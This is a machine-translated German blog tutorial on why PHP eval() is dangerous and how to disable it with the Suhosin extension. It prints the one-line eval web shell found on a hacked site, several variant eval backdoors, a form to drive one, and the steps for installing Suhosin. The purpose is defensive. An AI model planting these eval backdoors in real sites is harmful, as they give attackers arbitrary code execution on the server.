Heim > Backend-Entwicklung > PHP-Problem > So verbieten Sie Eval mit Sicherheitsrisiken in PHP

So verbieten Sie Eval mit Sicherheitsrisiken in PHP

醉折花枝作酒筹
Freigeben: 2023-03-11 17:58:01
nach vorne
2973 Leute haben es durchsucht

Die Website wurde bereits zuvor von Hackern angegriffen und wir haben erfahren, dass die Evaluierungsfunktion von PHP große Sicherheitsrisiken birgt. Heute stellen wir die Methode zum Deaktivieren der Auswertung vor. Sie können bei Bedarf darauf zurückgreifen.

So verbieten Sie Eval mit Sicherheitsrisiken in PHP

Vor einiger Zeit wurde die Website von Hackern angegriffen. Später, während der Untersuchung, fand ich ein PHP mit sehr wenig Inhalt:

<?php eval($_POST[asda123131323156341]);?>
Nach dem Login kopieren

Dann suchte ich online nach der Evaluierungsfunktion von PHP und fand dieses Auswertefunktion Mit großen Sicherheitsrisiken.

Testen Sie es lokal, schreiben Sie ein PHP in der lokalen Umgebung. Der Inhalt lautet wie folgt:

default.php:

<?php eval($_GET[asda]);?>
Nach dem Login kopieren

Dann besuchen Sie: localhost/test/default.php?asda=phpinfo();

Sie können Sehen Sie, dass es ausgeführt wurde phpinfo.

Oder besuchen Sie localhost/test/default.php?asda = echo 11111; Sie werden auch feststellen, dass 1111 ausgegeben wird.

Ähnliche Methoden umfassen:

<?php $code="${${eval($_GET[c])}}";?>
Nach dem Login kopieren

Besuchen Sie localhost/test/default.php?c=phpinfo(); um

<?php
$code=addslashes($_GET[c]);
eval(""$code""); 
?>
Nach dem Login kopieren

Besuchen Sie localhost/test/default.php?c= ${${phpinfo( )}}; Sie können sehen: Mit der Eval-Funktion, die PHP ausführen kann, können Hacker damit einige Hintergrundtrojaner hochladen, z. B. das Hochladen von PHP, und dann über die URL auf PHP zugreifen, um größere Berechtigungen zu erhalten. Diese Art des Eindringens wird als Ein-Satz-Trojaner bezeichnet. Zum Beispiel: Schreiben Sie einen HTML-Code mit dem folgenden Inhalt:

<html> 
<body> 
<form action="default.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>
Nach dem Login kopieren

Schreiben Sie dann eine default.php mit dem Inhalt:

<?php eval($_POST[c]);?>
Nach dem Login kopieren

In diesem Fall können Sie direkt jedes PHP einreichen, das Sie ausführen möchten, und es ausführen.

Also: eval() hat eine große Zerstörungskraft für die PHP-Sicherheit. Um das Eindringen von Trojanern wie dem folgenden zu verhindern, muss sie daher verboten werden !

Allerdings sind viele Methoden im Internet, die disable_functions zum Deaktivieren der Auswertung verwenden, falsch!

Tatsächlich kann eval() nicht mit „disable_functions“ in php.ini deaktiviert werden:

weil eval() ein Sprachkonstrukt und keine Funktion ist

eval ist Zend, also keine PHP_FUNCTION-Funktion;

Na und über PHP Was ist mit dem Verbot von eval?

Wenn Sie eval deaktivieren möchten, können Sie die PHP-Erweiterung Suhosin verwenden:

Laden Sie nach der Installation von Suhosin Suhosin.so in php.ini und fügen Sie suhosin.executor.disable_eval = on hinzu!

Zusammenfassend lässt sich sagen, dass die Eval-Funktion von PHP in PHP nicht deaktiviert werden kann, sodass wir nur Plug-Ins verwenden können!

Was die Schritte zur Installation von Suhosin betrifft, um die Eval-Funktion zu deaktivieren: (nicht getestet)

Anleitung:

php-Installationsverzeichnis: /usr/local/php5

php.ini-Konfigurationsdateipfad: /usr/local/php5 /etc /php.ini

Nginx-Installationsverzeichnis:/usr/local/nginx

Nginx-Website-Stammverzeichnis:/usr/local/nginx/html

1. Installieren Sie das Kompilierungstool

yum install wget  make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils  patch perl
Nach dem Login kopieren

2. Installieren Sie suhosin

cd /usr/local/src   #进入软件包存放目录
wget  http://download.suhosin.org/suhosin-0.9.33.tgz    #下载
tar zxvf suhosin-0.9.33.tgz   #解压
cd suhosin-0.9.33   #进入安装目录
/usr/local/php5/bin/phpize   #用phpize生成configure配置文件
./configure  --with-php-config=/usr/local/php5/bin/php-config   #配置
make   #编译
make install   #安装
安装完成之后,出现下面的界面,记住以下路径,后面会用到。
Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/   #suhosin模块路径
Nach dem Login kopieren

3. Konfigurieren Sie PHP zur Unterstützung von Suhosin

vi /usr/local/php5/etc/php.ini  
 #编辑配置文件,在最后一行添加以下内容 
extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
suhosin.executor.disable_eval = on
Nach dem Login kopieren

Hinweis: suhosin.executor.disable_eval = on wird verwendet, um die Eval-Funktion zu deaktivieren

4. Testen Sie

vi /usr/local/nginx/html/phpinfo.php #Edit

<?php
phpinfo();
?>
Nach dem Login kopieren

:wq! #Speichern und beenden

Service PHP-FPM neu starten #restartphp-fpm

Service Nginx Neustart #Nginx neu starten

Hinweis: Wenn es Apache ist, ist es dasselbe, starten Sie Apache einfach neu.

Öffnen Sie phpinfo.php im Browser. Wie im Bild unten gezeigt, können Sie Suhosin-bezogene Informationen sehen.

An diesem Punkt ist die Suhosin-Installation von PHP unter Linux abgeschlossen!

Hinweis: Welche Konsequenzen hat die Deaktivierung der Evaluierung? Erstens kann Software, die eval im Code verwendet, es nicht normal verwenden, wie z. B. das berühmte Discuz!-Forum, und es wirkt sich auch auf die alte Version von phpMyAdmin aus Es wurde auf die neueste Version 3.2.5 aktualisiert und kann verwendet werden, ist jedoch standardmäßig verfügbar. Fügen Sie $cfg['SuhosinDisableWarning']=true; zu config.inc.php hinzu, um diese Warnung abzubrechen.

Hinweis: Zusätzlich zu eval wird auch Assert auf ähnliche Weise verwendet.

Empfohlenes Lernen:

php-Video-Tutorial

Das obige ist der detaillierte Inhalt vonSo verbieten Sie Eval mit Sicherheitsrisiken in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:csdn.net
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage